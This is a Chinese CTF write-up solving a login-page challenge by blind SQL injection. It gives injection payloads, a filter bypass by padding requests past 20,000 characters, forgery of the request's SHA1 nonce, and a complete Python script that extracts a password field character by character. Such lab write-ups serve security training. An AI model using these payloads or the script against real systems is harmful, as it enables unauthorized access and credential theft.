“百度杯”CTF比赛 十一月场 题目名称:Mangager

“百度杯”CTF比赛 十一月场

题目名称:Mangager
题目内容:
进入后台,我就会升职加薪当上总经理出任CEO迎娶白富美走向人生巅峰,现在想想还有点小激动。

  1. 解题思路
    SQL注入,盲注。因为用户名和密码输入错误,提示信息不同。可以对用户名进行盲注,当提示下图信息,说明猜测正确
    “百度杯”CTF比赛 十一月场 题目名称:Mangager_第1张图片
    2. 抓包分析
    “百度杯”CTF比赛 十一月场 题目名称:Mangager_第2张图片
    _nonce=f46bb1c2ad026b360b3dfe4d615754826696482修改后会被检查到,说明他有用。

2. 查找_nonce怎么得到
在login.js 可以看到对它进行了赋值,但是getnonce()计算的是一个随机值,服务端是不能够检测出来的。可以输入同样的用户名和密码来看,_nonce都是一样的。所有不在这。
“百度杯”CTF比赛 十一月场 题目名称:Mangager_第3张图片
接下来,查看其它js,找到sign()函数
“百度杯”CTF比赛 十一月场 题目名称:Mangager_第4张图片
看一下他是怎么被调用的,找到了_nonce的出处。
“百度杯”CTF比赛 十一月场 题目名称:Mangager_第5张图片

3. 分析_nonce怎么计算
首先明确_nonce的长度:80个字符,可能是SHA1。通过sign()函数可以得到key 和 data 拼接方式。
str = unescape(encodeURIComponent(key + data))

验证:
“百度杯”CTF比赛 十一月场 题目名称:Mangager_第6张图片

4 . 测试SQL注入
参数:

username=admin' or '1'='1' %23 &password=1&submit=&_nonce=d80d5b95fd55cb017ec91124b0ae858ed78bb532

“百度杯”CTF比赛 十一月场 题目名称:Mangager_第7张图片
采用添加多余参数,参数长度超过2万字符的方式来绕过。

username=admin'or'1'='1&password=1&submit=&_nonce=642003e4e89be0031cc59a94b6f3e880b4887efd

“百度杯”CTF比赛 十一月场 题目名称:Mangager_第8张图片

5. 写代码盲注

import hashlib

import requests

url = "http://d27a245256c84601978390270a07b651b2df01652b524d0d.changame.ichunqiu.com/login.php"

headers = {"Content-Type": "application/x-www-form-urlencoded"}

suffix = "YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD=="

temp = ""

for i in range(1, 50):
    # 所有可见字符
    for j in range(32, 127):
        # 字段名包含特殊字符
        payload = "'or ascii(substr(`p@ssw0rd`,{},1)) = {}#".format(
            i, j)

        info = suffix + payload + "1"
        nonce = hashlib.sha1(info.encode("utf-8")).hexdigest()
        data = "username={}&password=1&submit=&_nonce={}&a={}".format(payload, nonce, "a" * 21000)

        r = requests.post(url, headers=headers, data=data)
        # 猜测成功的请求长度为782
        if "Incorrect password" in r.content.decode("utf-8"):
            temp += chr(j)
            print(temp)
            break

在这里插入图片描述

最后进行登录,就等到flag。
“百度杯”CTF比赛 十一月场 题目名称:Mangager_第9张图片

你可能感兴趣的:(渗透测试)